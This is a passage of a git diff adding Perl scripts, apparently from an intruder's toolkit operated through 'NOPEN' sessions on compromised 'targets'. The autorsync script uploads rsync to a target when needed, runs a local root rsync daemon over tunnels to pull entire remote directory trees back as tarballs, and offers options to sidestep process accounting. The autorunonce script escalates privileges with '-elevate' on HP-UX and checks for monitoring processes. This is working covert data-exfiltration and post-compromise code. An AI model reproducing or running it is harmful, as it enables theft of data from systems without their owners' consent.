such file/i) { + if (!$ulbchecked) { + ($output,$nopenlines,@output) = doit("-ls /usr/local/bin/rsync"); + if ($output =~ m, /usr/local/bin/rsync,) { + $ulbfound++; + offerabort + ("/usr/local/bin not yet in PATH but that is where rsync is.\n". + "If you continue, $prog will add it to the remote PATH."); + dbg("Running ulb addpath in $prog: nopenaddpath(/usr/local/bin);"); + nopenaddpath("/usr/local/bin"); + $versionchecked=0; + newhostvar("rsyncnative","/usr/local/bin/rsync"); + } + $ulbchecked++; + next; + } else { + doit("-getenv"); + my $whatrsync=""; + dbg("solaristype=$solaristype="); + if ($solaristarget) { + if ($inteltarget) { + chomp($whatrsync = `ls -rt1 $opup/*rsync*solaris* | grep i386 | tail -1`); + } else { + chomp($whatrsync = `ls -rt1 $opup/*rsync*solaris* | grep sparc | tail -1`); + } + } + $whatrsync = "ABORT" unless $whatrsync; + my $warning; + while (1) { + ($ans,$whatrsync) = mygetinput + ($warning. + "Enter local path to rsync to upload (or ABORT):\n",$whatrsync); + mymydie("rsync is not available natively and you chose\n". + "not to upload") + if $whatrsync =~ /^a/i; + last if (-s $whatrsync); + $warning = "$COLOR_FAILURE\n\n". + "INVALID RSYNC: $whatrsync\n$COLOR_NORMAL\n"; + $whatrsync = "ABORT"; + } + $uploadrsync = $whatrsync; + } + } elsif ($output =~ /rsync\s*version/) { + my ($vernum) = $output =~ /rsync\s*version\s+([\d\.]*)/; + if ((verval($vernum))[1] <= (verval("2.4.5"))[1]) { + progprint($COLOR_FAILURE. + "\n\n$prog does not work with rsync v.2.4.5 or below.\n". + "We may still be able to upload one."); + sleep 3; + } else { + # We are good to go set $rsyncnative + unless ($rsyncuploaded or $justputone) { + ($output,$nopenlines,@output) = nopenlss("-P","rsync"); + my ($file) = $output[0] =~ m,\d\d:\d\d \d\d\d\d (/.*),; + newhostvar(rsyncnative,$file); + } + last; + } + $versionchecked++; + next; + } else { + mymydie("unknown error but rsync appears not to exist"); + } + } + if ($checkfirst) { + unless ($opt_C) { + my ($output,$nopenlines,@output) = doit("du --help"); + if ($output =~ /--human-readable/ and + $output =~ /--summarize/) { + $usedu = "du --human-readable --summarize"; + } elsif ($output =~ /illegal option/ and + $output =~ /-s.*file/) { + $usedu = "du -s"; + } + unless ($usedu) { + offerabort + ("The remote \"du\" command cannot be found. If you choose\n". + "to continue, we will use a recursive -ls to determine the\n". + "remote size instead. With large directory tree structures,\n". + "this can take a while."); + } + } + } + # dbg("output=$output= usedu=$usedu="); + + # If no @ARGV, prompt for @remotepaths + if (@ARGV) { + @remotepaths = @ARGV; + } + if ($pastemode) { + # PASTE MODE is shut off elsewhere this code left in anyway + my $sofar = ""; + while (1) { + my ($ltr,$ans) = mygetinput + ("$sofar". + "$COLOR_FAILURE\n\n". + "Enter as many paths as you need, multi-line pasting is fine.\n". + "Enter \"DONE\" when finished.\n". + $COLOR_NORMAL. + "Next path: ","DONE"); + last if $ans eq "DONE"; + $ans =~ s/^\s*//; + $ans =~ s/\s*$//; + # $ans = "\"$ans\"" if $ans =~ /\s/; + push(@remotepaths,$ans); + $sofar = "PATHs so far:\n$COLOR_NOTE" unless $sofar; + $sofar .= "\t$ans\n"; + } + } + if ($listfile) { + if (open(RSYNCIN,$listfile)) { + while () { + s/^\s*//; + s/\s*$//; + next if /^#/; + my ($junk,$junk2,$path) = + /(.* ){0,1}(\.){0,1}(\/.+)/; + next unless $path; + dbg("junk=$junk junk2=$junk2 Adding path=$path="); + push(@remotepaths,$path); + } + close(RSYNCIN); + } else { + mymydie("Cannot open $listfile"); + } + } + + + # Verify @remotepaths are valid remote paths/files + my %doneit = (); + my @morepaths = (); + # dbg("top: (@remotepaths) (@morepaths)"); + while (my @newarr = (@remotepaths,@morepaths)) { + # dbg("top: (@remotepaths) (@morepaths)"); + my $path = shift @remotepaths; + $path = shift @morepaths unless $path; + # Escape space once here for -ls + $path =~ s/(\s)/\\$1/g; + next if $doneit{$path}++; + ($output,$nopenlines,@output) = nopenlss("-d",$path); + # Escape space once again for rest + my ($monstr,$mday,$h,$m,$y,$hit) = $output =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)\s+(\d+) (/[^\r\n]*),; + # Escape space once here for -ls + $hit =~ s/(\s)/\\$1/g; + dbg("output=$output= nopenlines=$nopenlines= + + +got hit=$hit= + + +"); + if ($output =~ /^l/ or $output =~ /lrwxrwxrwx/) { + if ($hit =~ m,^(/.*) -\. \.\.(/.*),) { + $hit = dirname(dirname($1)).$2; + $hit =~ s,//,/,g; + push(@morepaths,$hit); + } elsif ($hit =~ m, -\. (/.*),) { + $hit = $1; + push(@morepaths,$hit); + } elsif ($hit =~ m,^(/.*) -\. (.*),) { + $hit = dirname($1)."/$2"; + push(@morepaths,$hit); + } else { + if (@remotepaths > 1) { + my $s = "s" if @remotepaths > 2; + offerabort + ("The remote path $path appears to be a link but $prog cannot\n". + "figure it out. You must provide the actual path, not the link.\n". + "Continue to allow $prog to process your other request$s."); + next; + } else { + mymydie(".\n\nFATAL:\n\n". + "The remote path $path appears to be a link but $prog cannot\n". + "figure it out. You must provide the actual path, not the link."); + } + } + # $hit just found via link will be checked vis -ls on later pass of while() + next; + $remotepaths{$path} = $hit if ($hit); + } else { + $remotepaths{$path} = $path if ($hit); + } +# dbg("output=$output= nopenlines=$nopenlines=\n \$remotepaths{$path}=$remotepaths{$path}"); + } + mymydie("@remotepaths no valid remote file paths were given") + unless %remotepaths or $freshenold ; + + + if ($freshenold) { + # If we are first, we unpack. If not, we make sure first already has. + my $tocfile = tocfile($olddatafile); + if ($mypart == 1) { + unpackold($olddatafile,$dounpacking); + } else { + my ($sleepcount,$age,$prevage,$moretosay) = (); + while (1) { + #DISABLED THIS WHOLE BLOCK WITH: + last; + sleep 1; + do $host_varfile if -s $host_varfile; + mymydie("Aborted ($bailfile was touched)") + if (-e $bailfile); + # The parts > 1 will not be able to set up their tunnel until + # part 1 does. We keep trying here until we can. + $tunnelport = $tunnelport{"$olddatafile in $ofparts parts"} + if defined $tunnelport{"$olddatafile in $ofparts parts"}; + $remoteport = setuptunnel() + unless ($remoteport > 0); + my ($morestill,$moreport) = (); + if ($remoteport > 0) { + $morestill = "\n\n(This instance is using return port $remoteport/tcp.)\n"; + $moreport = ", using port $remoteport"; + } + unless ($sleepcount % 30) { + doit("w"); + progprint + ("$COLOR_NORMAL\n\n". + "This instance of $prog must confirm that the first part (1 of $ofparts)\n". + "has finished unpacking the tarball and that all parts have their\n". + "return tunnel initialized before it can proceed.". + $morestill. + "\n\n". + "Paste this locally to abort this instance ($mypart of $ofparts$moreport via -tunnel $tunnelport udp):\n\n". + $moretosay. + " touch $bailfile"); + $moretosay = "$COLOR_FAILURE(It still has not, did you run part 1 of $ofparts yet?)$COLOR_NORMAL\n\n"; + } + $sleepcount++; + dbg("see if $tocfile exists yet\n".`ls -al $tocfile 2>/dev/null`); + next unless -s $tocfile; + dbg("YES $tocfile exists yet\n".`ls -al $tocfile 2>/dev/null`); + next unless checkalldone("tunnelcheck"); + dbg("CONTINUING with part $mypart of $ofparts"); + # See what part 1 did wrt rsync + # Let the $host_varfile and $tocfile sync to disk + `sync`; + sleep 2; + if ($rsyncnative =~ m,^/,) { + nopenaddpath(dirname($rsyncnative)); + $rsyncnative = 1; + } + unless ($rsyncuploaded or int($rsyncnative) > 0) { + $moretosay .= $COLOR_FAILURE. + "\n\nTHIS IS ODD. The unpacking is done,\n". + "$tocfile exists,\n". + "BUT neither rsyncuploaded=$rsyncuploaded= nor rsyncnative=$rsyncnative= is defined\n". + "yet. REPORT THIS.\n\n" + unless $moretosay =~ /THIS IS ODD/; + next; + } + last ; + }#THIS BLOCK DISABLED + dbg("prior remotersyncoptions=$remotersyncoptions= mypart=$mypart= "); + $remotersyncoptions .= " ".$remotersyncoptions{"$olddatafile in $ofparts parts"} + if ($remotersyncoptions{"$olddatafile in $ofparts parts"}); +dbg("Just set remotersyncoptions=$remotersyncoptions="); + if ($rsyncuploaded) { + $remotersync = basename($rsyncuploaded); +dbg("Running second addpath in $prog: nopenaddpath(dirname($rsyncuploaded));"); + nopenaddpath(dirname($rsyncuploaded)); + } + $tunnelport = int($tunnelport{"$olddatafile in $ofparts parts"}) + unless (! int($tunnelport{"$olddatafile in $ofparts parts"})) ; +#$tunnelport=10001; + mywarn("Odd, somehow instance 1 of $ofparts did not set tunnelport=$tunnelport= > 10000...proceeding anyway") + unless $tunnelport > 10000; + } + } else { + unpackold($olddatafile,$dounpacking) if $olddatafile; + } + $rsync_config = "$optmp/rsync.cfg.$$"; + $rsync_config_contents{$rsync_config} = "uid = root\n". + "use chroot = no\n". + "log file = /dev/null\n". + "\[root\]\n". + "path = DESTDIR\n". + "read only = false\n"; +} #myinit + +sub monitorunpack { + my $sleepcount=0; + my ($what,$output,$tocmore) = ("$COLOR_FAILURE\n\n\n",""); + $what .= "Confirming status of unpacking $olddatafile" if $dounpacking; + if (!$dounpacking and $freshenold) { + $what .= "Reading TOC from $olddatafile\n". + "to find target files to rsync"; + $tocmore = " table of contents (TOC)"; + } + sleep 1; # Allow forked childs to say something before this does + progprint($what); + my $tocdone = !$freshenold; +#dbg("outside tocdone=$tocdone="); + while (1) { + $tocdone = ((!$freshenold) or -e $unpackedtoc); +dbg("tocdone=$tocdone= + +ls -al $unpackedtoc* +".`ls -al $unpackedtoc*`); + last if ($tocdone and (!$dounpacking or -e $unpackingdone)); + unless ($sleepcount % 15) { + my $status = `$statuscmd ; ls -al $unpackingdone*`; + progprint("$COLOR_FAILURE\n\n". + "Waiting on tarball$tocmore to finish unpacking:\n". + " $tball\n\n". + "To see status, in another window use this:\n\n". + "$statuscmd\n\n". + $status + ); + } + sleep 1; + doit("w") unless $sleepcount % 10; + $sleepcount++; + } + $what = ""; + if ($dounpacking) { + $output = + $COLOR_FAILURE. + `cat $unpackingdone`."\n\n". + "(verbose tar output is above).\n\n". + "Above unpack command is finished running.\n$COLOR_FAILURE\n". + "You can now confirm data unpacked correctly.\n\n". + "You can also rearrange things now locally if need be so that the\n". + "following local directory matches and is relative to / on target:\n\n". + " $destdir\n"; + + $what .= "$COLOR_FAILURE\nJust Read TOC from and\n" + if $freshenold; + $what .= + "Confirmed status of unpacking $olddatafile via:\n\n". + $unpackrunning."\n\n$COLOR_NORMAL\n"; + } else { + if ($freshenold) { + $what .= "$COLOR_FAILURE\nJust read the TOC from $olddatafile\n". + "to find target files to rsync (see new popup on the right screen)."; + } + } + +dbg("we got defined \&mymydie=&mymydie=".scalar defined &mymydie); + progprint($output. + $what. + "\n$COLOR_NORMAL\n". + ""); + sleep 2; +}#monitorunpack + +sub checkolddestdir { + return unless ($mypart == 1); + my (@otherdirs) = + split(/\n/, + `find $opdown/$nopen_rhostname $opdown/NOSEND/$nopen_rhostname -type d -name "via-gs.rsync*"`); +# `cd $opdown ; find $nopen_rhostname NOSEND/$nopen_rhostname -type d -name "via-gs.rsync*"`); + @otherdirs = sort grep ! m,$destdir, , @otherdirs; + my $dircount = @otherdirs; + # If we have more than just our new one ($destdir grepped out above) + my $mergeans = ""; + if ($dircount > 0) { + my (@otheranswers,%otherdirs,$moreballs,$oldballs,$todaysballs) = (); + my $otherdirlist = ""; + for ($i=0;$i<@otherdirs;$i++) { + $otherdirs[$i] =~ s,/+,/,g; + push(@otheranswers,$i,$otherdirs[$i]); + my ($count) = `find $otherdirs[$i] -type f | wc -l` =~ /^\s*(\d+)\s*$/; +# $otherdirlist .= sprintf " [$i] %-60s %5d\n",$otherdirs[$i],$count; + my $s = $count > 1 ? "s" : ""; + my @indirs = split(/\n/,`find $otherdirs[$i] -type d -depth`); + my $indir = ""; + foreach my $thisdir (@indirs) { + $thisdir =~ s,$otherdirs[$i],,; + next unless $thisdir; + next if $indir =~ m,$thisdir,; + if ($indir) { + $indir .= "\n and " if (length $indir > 20); + } + $indir .= " $thisdir"; + #if ($indir) { + # $indir = ""; + # last; + # } else { + # $indir = $thisdir; + # } + } + $s .= " from $indir" if $indir; + $otherdirlist .= "\n [$i] $otherdirs[$i]\n". + " Containing $count file$s\n"; + $mergeans = $i if ($otherdirs[$i] eq $mergewithdir); + } + my (@otherballs) = + split(/\n/, + `cd $opdir ; ls -alrt ${nopen_rhostname}_[0-9]*-[0-9]*.tar.bz2`); + if (@otherballs) { + my ($today) = timestamp(short) =~ /^(\d{8})/; + dbg("today=$today otherballs=(@otherballs)"); + foreach (@otherballs) { + if (/_${today}-\d{6}\.tar\.bz2/) { + $todaysballs .= " $_\n"; + } else { + $oldballs .= " $_\n"; + } + } + $moreballs = "These are already in $opdir:\n\n"; + $moreballs .= "OLD TARBALLS:\n$oldballs\n" if $oldballs; + $moreballs .= "TODAY's TARBALLS:\n$todaysballs\n\n". + "(if one is still growing now, moving DESTDIR aside below will not hurt it)\n" + if $todaysballs; + } + + my ($ans,$longans) = (); + if ($mergewithdir and length($mergeans)) { + ($ans,$longans) = ("m","MERGE$mergeans"); + } else { + ($ans,$longans) = mygetinput + ("PROPOSED NEW DESTDIR=$destdir\n\n". + "$prog seems to have been run previously. ${moreballs}\n\n". + "The following older via-gs.rsync directories already exist for this host:\n". + $otherdirlist."\n\n". + "You can either:\n". + " MERGE this new rsync with the contents of one already there shown above**;\n". + " (MERGE can optionally be followed by the number or path of the desired\n". + " directory with which to MERGE)\n\n". + " START a brand new directory to start a fresh tarball with this run (this now\n". + " allows multiple concurrent rsyncs to be done); or\n\n". + " ABORT\n\n". + "**NOTES: 1) If you MERGE data, and this rsync downloads the same data, it\n". + " will overwrite what is in DESTDIR now--just be sure that's what you\n". + " want.\n". + " 2) You can START a new collect instead, keeping the old and new\n". + " contents separated from other rsync runs\n\n". + "Which would you like to do (MERGE[ #],START,ABORT)?", + "START","MERGE","A","ABORT", + ""); + } + my $whichans = ""; + ($longans,$whichans) = ($1,$2) if ($longans =~ m,(MERGE)\s*([0-9/].*),); + mymydie("User aborted") if $ans eq "a"; + # If MERGE, we do nothing, new data will fall into $destdir + if ($longans eq "MERGE") { + rmdir($destdir); + my ($ans,$longans) = (); + while (1) { + ($ans,$longans) = ($whichans,$whichans); + ($ans,$longans) = mygetinput + ("The PROPOSED NEW DESTDIR ".basename($destdir)." has been removed.\n\n". + "MERGING with one of these directories:\n\n". + $otherdirlist."\n\n". + "Which one should we MERGE with (or you can ABORT)?","ABORT",@otheranswers, + ) unless (length $whichans); + mymydie("User aborted") if ($longans eq "ABORT"); + $destdir = $otherdirs[$longans] if (-d $otherdirs[$longans]); + $destdir = $longans if (-d $longans); + last if (!$whichans or -d $destdir); + # That MERGE Whatever failed, make them answer on next loop + $whichans = ""; + } + mymydie("BUG: Something bad in autorsync. Report this.") + unless (-d $destdir); + $destdir_tmp = $destdir; + $destdir_tmp =~ s,$nopen_rhostname,\$nopen_rhostname,; + $destdirname =~ s,$opdown/,,g; + my $tmpdir = $optmp . "/" . basename($destdir); + my @list = split(/\n/,`cd $destdir ; find . -type f`); + if ($host_unpackedtardatafor{$destdir} and + $tmpdir eq $host_unpackedtardatafor{$destdir} and + @list == 1 and + grep /.tar.bz2$/, @list) { + # $destdir has only the tarball, the unpacked stuff should be in $tmpdir, + # we swap the two + preservefile($tmpdir.$$); + rename($tmpdir,$tmpdir.$$) || mymydie("Died at rename rename($tmpdir,$tmpdir.$$)"); + rename($destdir,$tmpdir) || mymydie("Died at rename rename($destdir,$tmpdir)"); + rename($tmpdir.$$,$destdir) || mymydie("Died at rename rename($tmpdir.$$,$destdir)"); + @list = split(/\n/,`cd $destdir ; find . -type f`); + } + return 1; +#TODO HAVE to fix this the $destdir may have just the .tar.bz2 we made in it, if so the contents in $optmp/basname are realy what we want--swap them back, then proceed + + + + + + } elsif ($longans eq "START") { + # Clear out any previous "part-N-of-$ofparts" files from old runs. + checkalldone(Clear); + } + } +}#checkolddestdir + +sub startlocalrsync { + my $extra = ""; + checkolddestdir() unless $olddatafile; + `mkdir -p $destdir` unless -d $destdir; + -d $destdir or mymydie("Cannot create local dir $destdir"); + # $localport being different from $remoteport is only useful for + # using -gs rsync against yourself (i.e., for testing). + # my $localport = $remoteport + 1; + my $localport = $remoteport; + $rsync_config_contents{$rsync_config} =~ s,DESTDIR,$destdir,g; + writefile($rsync_config,$rsync_config_contents{$rsync_config}); + my $localrsync = "rsync $verbose --daemon --no-detach --config=$rsync_config --port=$localport --address=127.0.0.1 $destdir"; + my $s = ""; + $s = "s" if @remotersyncs > 1; + my $bailstring=""; + $bailstring = "\nYou can abort between rsync commands by touching this file\n". + "locally and then killing the rsync running on target.\n\n". + " touch $bailfile\n" + if @remotersyncs > 1; + my ($ans) = mygetinput + ( + "\n\nREMOTE:\n ". + join("\n ",@remotersyncs). + $extra. + "\n$COLOR_FAILURE\nREMOTE RSYNCS LISTED ABOVE$COLOR_NORMAL\n\n". + "About to run remote (above) and local (below) rsync command$s.\n\n". + "LOCAL (data will be put in in $destdir):\n". + " $localrsync\n\n". + "with config file containing:\n ". + join("\n ",split(/\n/,$rsync_config_contents{$rsync_config})). + $bailstring. + "\n\nontinue or bort.","C" + ); + mymydie("Aborted by user") if $ans eq "a"; + + # Fork, parent returns, child execs local rsync + my $pid = fork(); + return $pid if $pid; + close(STDOUT); + close(STDERR); + close(STDIN); + chdir($destdir); + # open(RSYNCLOCAL,"$localrsync |") or mymydie("Cannot start local rsync: $!"); + exec("$localrsync") or mymydie("Cannot start local rsync: $!"); + exit; +}#startlocalrsync + +sub usagetext { + + $destdir_tmp = "$opdown\[/NOSEND\]/HOST.IP/via-gs.rsync.YYYYMMDD-HHMMSS" + unless $destdir_tmp; + + my $gsusagetext = + " +Usage: $prog [options] [/PATH/TO/REMOTE/FILE-OR-DIR [/PATH/2 ..]] + +$prog uses rsync both remotely and locally to synchronize data between +your target and the local system, putting all the remote data locally into + + $destdir_tmp + +The rsync server will run locally, with a local config file unique to this +instance of $prog in $rsync_config_tmp. +"; + $gsusagetext .= " +Use the longer -H usage option for more detail. +" unless $longhelp; + $gsusagetext .= " +No remote files are created by $prog. The remote rsync binary is executed +once for each target path given. The target path can be a file or directory, +can contain spaces or wildcards (BUT NOT BOTH), and directories will be +recursed and rsynced entirely. If the target path is a soft link, $prog +attempts to resolve it to the actual file and uses that. + +This can obviously be a lot of data. Use the -c option to have $prog first +check the total size of remote files to be rsynced, allowing you to abort if +the size is too big. Remember the remote data size will be more than what +traverses the channel, since the NOPEN -tunnels are compressed. The -c option +uses the remote command \"du\", if available. Use the -C option to bypass using +\"du\" and instead do a recursive listing, counting bytes that way. -C should +be used if process accounting is an issue or on systems where the \"-h\" (human +readable) du option is not available. + +If the optional -f tarfile is provided, it is first extracted into + $destdir_tmp +before the rsync is performed. You are given the opportunity to confirm data is +extracted properly. If the tarfile unpacked is not from / on target, you can use +that opportunity/pause to rearrange data within + $destdir_tmp +to match the paths on target. For example: + + cd $destdir_tmp + ls -al + mkdir -p missing/path + mv subdir missing/path +" if $longhelp; + $gsusagetext .= " +After the rsync is complete, $prog offers to create a fresh tarball (in +$opdir) of the data just synced. This is done in the background, and a +popup will tell you when it is done. Once the tar file is done being built, +another popup will appear offering to copy-fast the resulting file. +$COLOR_FAILURE + NOTE: Any ^C in the same NOPEN window while the popup is building + the tarball, even after $prog exits, will kill the tar + command creating that tarball prematurely. $COLOR_NORMAL +"; + $gsusagetext .= " +If -T # is used, when the bwmonitor.txt hits that number of Megabytes, you are +offered a chance to abort after the current remote rsync is done. + +If rsync is not on target (or if -U locfile is used), you are prompted for +what rsync to upload and run. If the target has a hidden directory (STOIC +or IN), that will be the default destination. + +The -M option allows a series of ops to grow target data into a larger +tarball each op with a combination of both \"-lss -G\" or simple \"-get\" +file pulls and rsyncing previously pulled data. +" if $longhelp; + my $deprecated = " + + +If -p is used, you are prompted for and can provide remote PATHs via a +multi-line paste, a blank line will terminate your pasted list. + + + + -p Paste mode, some or all PATHs given by pasting +"; + my $unused = " + -J Ignore all expand/rsync options, instead just create the new + tarball from $destdir_tmp, + as it stands at the time, to include merging (if -M is used). +"; + $gsusagetext .= " +OPTIONS + -h/-H/-v Show this help / LONG help / version + -b exprs Blacklist: skip files/paths matching any of the expressions. + With -F, matching files will be skipped. This allows + multiple instances of $prog to be used in multiple + windows if desired, sharing the load between them. And for + any PATHs given on the command line or via -l, use rsync + --exclude=expr to skip files that match. The argument \"exprs\" + can either be a local file, one regexp per line, or it can + be a list, \",,\" delimited, no whitespace. + -B Disable the feature where $prog will ignore files on + target older than the newest file in the -f tarfile. + -c First check the total bytes about to be transferred + -C Check byte count with -lss -Rz instead of a remote du + -f tarfile Local tar file to extract before rsyncing to it + -F N,M Freshen the tar file provided with -f (i.e., list of remote + files to rsync comes from contents of tar file), where this + session is number N of M simultaneous $prog instances + sharing the load. Use of -F MAY BE more efficient with VERY + LARGE files rather than VERY MANY small ones, where wildcard + and/or directory paths make more sense. Still, the + convenience of using -F to automatically populate the list + of files may be worth the loss in efficiency. + -l listfile List of remote PATHS to rsync (blank/#comment lines + ignored). Each line can be output from a -ls or a find or + a -get command--only the path, starting with /, will be + used. PATH MUST be only or final field on the line. + -m PATH Automatically MERGE with this local PATH in either + $opdown/HOST.IP/via-gs.rsync.YYYYMMDD-HHMMSS + OR + $opdown/NOSEND/HOST.IP/via-gs.rsync.YYYYMMDD-HHMMSS + -M locpath(s) When $prog is finished, but prior to building the final + (new) tarball of rsync'd data, merge the data from this(ese) + \",,\" delimited path(s) in: + $opdown/\$nopen_rhostname/ + into: + $opdown/\$nopen_rhostname/via-gs.rsync + -N Instead of \$nopen_rhostname/via-gs.rsync for the local copies + of target files, use \$nopen_rhostname_nosend/via-gs.rsync + -o With -F: one remote rsync PER FILE. The default is to combine + several per line, making the remote commands up to 1400 chars. + -O # With -F: Number of files to rsync per command. + -r Re-rsync any files already rsynced today (default does not). + -s STRING Include this string in the tarball $prog makes (spaces are + changed to dashes) + -S Skip test of tarfile (saves time for large tarballs) + -t PORT Rsync port for this instance, used only when -F N,M is used + -T # Maximum number of megabytes for op (from sub bwsofar()) + -u PORT Local UDP port used for -tunnel C&C [default is 10001] + -U locfile Upload/execute locfile instead of rsync (if any) on target. + The -U option is probably not needed as $prog normally + auto-detects which one in $opup is the correct one. + -V Use verbose mode for rsync commands + +Usage: $prog [options] [/PATH/TO/REMOTE/FILE-OR-DIR [/PATH/2 ..]] + +"; + $gsusagetext =~ s,Show this help,Show SHORT help,g if $longhelp; + return $gsusagetext; +} + +sub checkalldone { + # ASSERT: we are part 1 checking on all others + local($what) = (@_); + my $tunnelcheck = $what =~ /tunnel/; + my $clearall = $what unless $tunnelcheck; + my $checkcount = $ofparts - 1; +dbg("In checkalldone(@_) tunnelcheck=$tunnelcheck= clearall=$clearall= mypart=$mypart= ofparts=$ofparts="); + my $touchfile = ".rsync-part-1-of-$ofparts.DONE.$olddatafile"; + if ($tunnelcheck) { + do $host_varfile if -s $host_varfile; + my $done = 1; + for (my $i = 1; $i <= $ofparts; $i++) { + $done = 0 unless + $tunneldone{"rsync-part-${i}-of-$ofparts.DONE.$olddatafile"}; + } + return $done; + } + $touchfile =~ s,/,_,g; + $touchfile = "$optmp/$touchfile"; + newhostvar("tunneldone","CLEARALLMATCHING") + if $clearall; + + for (my $i = 1; $i <= $ofparts ; $i++) { + newhostvar("rsyncdone{$tunnelport $olddatafile $i}",0); + $touchfile =~ s/-part-\d+-of/-part-$i-of/; + unlink($touchfile) if (-e $touchfile and $clearall); + $checkcount-- if -e $touchfile; + } + # return true if we are done + return $checkcount <= 0; +} diff --git a/Linux/etc/autorunonce b/Linux/etc/autorunonce new file mode 100755 index 0000000..01c28ff --- /dev/null +++ b/Linux/etc/autorunonce @@ -0,0 +1,987 @@ +#!/usr/bin/env perl +# +# 20090413 - This script contains nothing except the menu code that +# is presented when the first NOPEN session is opened on a target. +# +$VER="2.2.1.3" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. +myinit() ; + +# Global variables, used to control program flow (for now). +my $startnewdone=0; +#my $startshortnewdone=0; +my $retrycb=0; + +# local_firewall($nopen_autoport); +my @autoargv = (); +mydo("autoscriptcheck",@autoargv); +mydo("autosessioninit",@autoargv); + +# In sub dospecial, if config files contain these commands we +# use mydo() instead of doit(). +%specialcommands = ( + "-lss","autolss", + "-gs lss","autolss", + ); +%mydocommands = ( + "-ctrl","autostoicctrl", + "-gs stoicctrl","autostoicctrl", + "-gs dfcheck","autodfcheck", + "=dfcheck","autodfcheck", + ); + +#$hpuxtarget = $nopen_serverinfo =~ /HP-UX/ +# unless $hpuxtarget; + +#$routertarget = $nopen_serverinfo =~ /IOS/i +# unless $routertarget; + +# Age of this file means we may do it again (if > 0.9 see autorunonce) +my $lastdone = -M "$optmp/autonewdone.$nopen_rhostname"; +rename("$optmp/autonewdone.$nopen_rhostname","$optmp/autonewdone.$nopen_rhostname.REDONE") + if ($lastdone > 23/24); # Redo at almost one day old + +$show = 0; +$show = 1 + unless (-e "$optmp/autonewdone.$nopen_rhostname"); +$show = 1 + if (-e "$optmp/autonewdone.$nopen_rhostname.AGAIN"); +unlink("$optmp/autonewdone.$nopen_rhostname.AGAIN"); + +logtrigger(); + +#my $suppresscup = 0 if $hpuxtarget; +if ($autoforce or + $autoyes or + $showmenu or + $autoreget or + ($redo or !(-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont")) + ) { + $show = 1; +} + +# We always run this, $show=1 is special case with menu. +dorunonce($show); + +#if ($hpuxtarget and (!$suppresscup and (-e "$opdown/$nopen_rhostname.cup.sleep.kills"))) { +# # Show the contents of $opdown/$nopen_rhostname.cup.sleep.kills so that we see it. +# myalert("Previous invocation of wearcup detected!"); +# doit("-lsh -nohist echo ; tail -10 $opdown/$nopen_rhostname.cup.sleep.kills"); +#} + + +# dospecial($dowhat) does nothing unless: +# 1) both gs.$dowhat and auto$dowhat are there; or +# 2) $opdown/special.$dowhat.cfg exists, a config file with syntax to be determined +# NOTE: If $dowhat contains an IP (with _ for each dot), it must be ours to process it. +# +foreach (sort keys %ENV) { # done in alpha order +# E.g., use export before connecting or -lsetenv while connected, then -gs auto: +# export NOPENFIRSTTASK=something +# -lsetenv NOPENMAINTASK=yada +# export NOPENXLASTTASK=note +# export NOPENTASK10_10_0_1="Task for 10.10.0.1" + next unless (/^NOPEN.*TASK/ and length($ENV{$_}) > 0); + dospecial($_); +} +dospecial($nopen_myip); + + +# End with true value as we require this script elsewhere. +1; +#ENDMAIN + +sub dorunonce { + local($myshow) = (@_); + # offerabort("in TOP OF autorunonce, show=$show= for $nopen_rhostname"); + # Before we do anything else, be sure to -elevate then run wearcup on HP-UX. + my $dohpuxelevate = ! -f "$optmp/NOHPUXELEVATE"; + if ($hpuxtarget and $dohpuxelevate) { + my ($unelevatedls,$unnopen,@unelevatedls, + $unelevatedps,$unnopen2,@unelevatedps, + $elevatedls,$nopenlines,@elevatedls, + $elevatedps,$unnopen2,@elevatedps, + $oldcupkills,@onceoutput, + ) = (); + if (-e "$opdown/$nopen_rhostname.cup.sleep.pids") { + my ($sleeppid,$shellpid) = (); + if (open(ONCEIN,"$opdown/$nopen_rhostname.cup.sleep.pids")) { + while () { + ($sleeppid,$shellpid) = /(\d+),(\d+)/; + } + close(ONCEIN); + } + preservefile("$opdown/ps-cupcheck.$nopen_rhostname"); + my ($output,$nopenlines,@output) = doit("=ps >L:$opdown/ps-cupcheck.$nopen_rhostname"); + if (open(ONCEIN,"$opdown/ps-cupcheck.$nopen_rhostname")) { + @onceoutput = ; + close(ONCEIN); + } + @onceoutput = grep / ($shellpid\s*1|$sleeppid\s*$shellpid) /,@onceoutput; + # We set aside old cup.sleep.* files if that cup no longer running, + # so below we WILL run a fresh cup. + if (@onceoutput) { + if (open(ONCEIN,"$opdown/$nopen_rhostname.cup.sleep.kills")) { + while() { + $oldcupkills .= $_; + } + close(ONCEIN); + } + } else { + preservefile("$opdown/$nopen_rhostname.cup.sleep.pids", + "$opdown/$nopen_rhostname.cup.sleep.kills", + ); + } + } + + # We only do the cd /dev stuff once per target + unless (-s "$opdown/ps-in-dev.$nopen_rhostname") { + preservefile("$opdown/ps-in-dev.$nopen_rhostname"); + ($unelevatedls,$unnopen,@unelevatedls) = doit("cd /dev ; ls -alrt /lost+found",); + ($unelevatedps,$unnopen2,@unelevatedps) = + doit("cd /dev ; ps -ef > L:$opdown/ps-in-dev.$nopen_rhostname", + "-lsh grep memlogd $opdown/ps-in-dev.$nopen_rhostname", + ); + } + # Unless disabled, we do the -elevate in EVERY hpux window, and BEFORE we wearcup + doit("-elevate"); + unless (-s "$opdown/unelevated.ls-ps.$nopen_rhostname") { + ($elevatedls,$nopenlines,@elevatedls) = doit("ls -alrt /lost+found",); + if (open(RUNOUT,">$opdown/unelevated.ls-ps.$nopen_rhostname")) { + print RUNOUT "$unnopen\n$unelevatedls\n". + "$unnopen2\n$unelevatedps\n"; + close(RUNOUT); + } + } + unless (-s "$opdown/ps-elevated.$nopen_rhostname") { + preservefile("$opdown/ps-elevated.$nopen_rhostname"); + ($elevatedps,$unnopen2,@elevatedps) = + doit("ps -ef > L:$opdown/ps-elevated.$nopen_rhostname", + "-lsh grep memlogd $opdown/ps-elevated.$nopen_rhostname", + ); + if (open(RUNOUT,">$opdown/elevated.ls-ps.$nopen_rhostname")) { + print RUNOUT "$nopenlines\n$elevatedls\n". + "$unnopen2\n$elevatedps\n"; + close(RUNOUT); + } + } + if (@elevatedps) { + @elevatedps = grep /memlogd/,@elevatedps; + @unelevatedps = grep /memlogd/,@unelevatedps; + # @elevatedls = grep /drwx/,@elevatedls; + # @unelevatedls = grep /drwx/,@unelevatedls; + @elevatedls = grep 